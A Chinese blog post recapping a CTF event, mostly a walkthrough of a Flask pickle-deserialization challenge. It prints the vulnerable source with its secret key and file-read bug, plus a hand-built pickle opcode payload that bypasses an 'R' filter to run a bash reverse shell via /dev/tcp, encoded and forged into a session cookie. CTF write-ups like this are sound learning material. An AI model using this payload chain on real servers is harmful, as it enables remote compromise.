打完了极客巅峰,说说感想:真就越来越菜了??签到都没出,直接0分,比刚入门那会儿还惨
下了两个pwn,一个 五六个libc+两个可执行文件,解压都懒得解压,一个malloc直接劝退,技能点还没点到
看到密码学有个 rsa,还以为到自己技能范围了,那么小的N居然不能分解,那么大个e居然不能破解,罢了罢了,只能说出题人水平真的高,学了一学期的中国剩余定理都没整明白,不觉得自己能在几小时内搞懂
web js 也没审出个啥东西来,刚好最近在搞反序列化,但是第一个着实被绕晕了,感觉利用点蛮多,却一个用不上,搜到个洞poc都没看懂,真想找个师傅带带啊
第二个pickle反序列化思路就清晰多了,幸运的是刚好前段时间在看 pickle 反序列化,不幸的是,刚好跳过了 __reduce__ 不能用的情况,结果当时看这个题的时候只有几分钟了,错过了这次0的突破,不过刚好趁着这题补个课了,在这里做个记录
尽量还原了一下题目环境,供师傅们复现 opcode
登陆的时候抓个包,很明显的任意文件读取,读了一下 /proc/self/cmdline
发现运行的是 app.py,其实也算是比较多余了,一般来说都是这个,然后读取 app.py 获得源码,查看网页源码,图片 src 中的 base64 就是了
from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtins
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}
def find_class(self, module, name):
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def loads(data):
return RestrictedUnpickler(io.BytesIO(data)).load()
app = Flask(__name__)
app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"
@app.route('/admin', methods = ["POST","GET"])
def admin():
if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):
return "not admin"
try:
data = base64.b64decode(session['data'])
if "R" in data.decode():
return "nonono"
pickle.loads(data)
except Exception as e:
print(e)
return "success"
@app.route('/login', methods = ["GET","POST"])
def login():
username = request.form.get('username')
password = request.form.get('password')
imagePath = request.form.get('imagePath')
session['username'] = username + password
session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))
try:
f = open(imagePath,'rb').read()
except Exception as e:
f = open('static/image/error.png','rb').read()
imageBase64 = base64.b64encode(f)
return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))
@app.route('/', methods = ["GET","POST"])
def index():
return render_template("index.html")
if __name__ == '__main__':
app.run(host='0.0.0.0', port='8888')
看到这个源码感觉思路还是蛮明确的,直接泄露了 SECRET_KEY,可以使用 flask-session-cookie-manager 破解session
{'data': b'base64编码后的序列化内容', 'username': 'admin'}
但是比较麻烦的在这里
if "R" in data.decode():
return "nonono"
序列化字符串中不能存在 R,而 __reduce__ 就是用到了R指令,不过也毫不意外,毕竟题目提示的就是要手写 opcode,在不使用 R 指令的情况下执行命令
构造不使用 R 指令执行命令的 payload,不会写没关系,已经有师傅帮我们总结了
pickle反序列化的利用技巧总结,隔空感谢
模仿上图的 o 指令,构造反弹shell 的opcode
import base64
import pickletools
a = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
o.'''
a = pickletools.optimize(a)
print(a)
print(base64.b64encode(a))
# 输出
# b'(cos\nsystem\nS\'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"\'\no.'
# b'KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMSInCm8u'
顺便一提,因为过滤 R 指令的地方 对序列化内容做了 decode,所以序列化后的内容中不能出现 \x81 这种无法 utf-8 解码的字符
构造 session
{'data': b'KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMSInCm8u', 'username': 'admin'}
使用 flask-session-cookie-manager 进行加密
python3 flask_session_cookie_manager3.py encode -t "{'data': b'KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMSInCm8u', 'username': 'admin'}" -s 'y0u-wi11_neuer_kn0vv-!@#se%32'
最后替换掉 cookie 中 session 的值,访问 /admin,即可反弹shell
昨天写到这就停下来了,因为想到题目中重写了 find_class,但是好像并没有生效,还以为是自己不小心动了源码,所以去找了相关的资料,整了很晚也没整出来,最后发现题目本就如此。
立个flag,找时间学学手写opcode,再回来更新,看看是否可以在有沙箱的同时过滤 R 指令,还能命令执行
如果沙箱要生效的话,pickle.loads(data)
应改为 loads(data)
同时给师傅们找到了详细的 flag,极客巅峰2021WP
自己立的 flag 哭着也要完成啊,见 手撸 opcode